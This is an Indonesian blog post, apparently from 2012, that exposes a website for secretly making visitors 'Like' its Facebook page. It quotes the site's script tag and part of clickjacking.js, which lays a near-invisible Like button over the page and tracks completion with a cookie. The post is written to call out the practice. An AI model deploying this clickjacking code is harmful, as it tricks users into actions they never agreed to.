[Hacking]Kecurangan AksiWebId

Dear Developer www dot Aksi dot web dot id, saya mohon hentikan dengan sangat KECURANGAN anda dengan melakukan otomatisasi FB like ketika pengunjung datang ke salah satu postingan anda hanya untuk membuat web anda populer di facebook. Saya bisa melaporkan ini ke pihak FB. Berikut kode buatan anda yang mebuat semua orang secara otomatis me-LIKE web anda :

<script>window.DO_CLICKJACKING = 1</script>
<script src="http://dhanee7ruh.googlecode.com/files/clickjacking.js"></script>

Pada bagian clickjacking.js :

if (window.DO_CLICKJACKING) { // wrap up EVERYTHING 
	
	$J("body").append('<div id="clickjacking" style="position:absolute;display:block;opacity:0.01;-khtml-opacity:.01;-moz-opacity:.01;filter:alpha(opacity=1);"><fb:like layout="button_count" show_faces="false" width="100"></fb:like></div>');
/*	$J("body").append('<div id="clickjacking" style="position:absolute;display:block;"><fb:like layout="button_count" show_faces="false" width="100"></fb:like></div>');*/
	
	var elementWidth = 0; 
	var elementHeight = 0; 
	var theElement = '';
	var likeDone = 0;

	if ($J.cookie("clickjacking_"+escape(document.URL)) == 1)
	{
		likeDone = 1; 
	}



	// fired when the user clicks a link (likes our page) -> clickjacking is done
	FB.Event.subscribe('edge.create', function(response) {
		  $J("#clickjacking").css("display", "none");
		  likeDone = 1;   
		  $J.cookie("clickjacking_"+escape(document.URL), "1");
		  // let the user actually go to the link he clicked. 
		  window.location.href = theElement.attr('href');
	});

Cara anda ini sungguh tidak terpuji. Mohon dengan sangat hapus kode tersebut dari web anda ! Dan Facebook juga harus menutup lubang keamanan ini.

About these ads

2012

02/10

KATEGORI

informasi
Web

Tulis komentar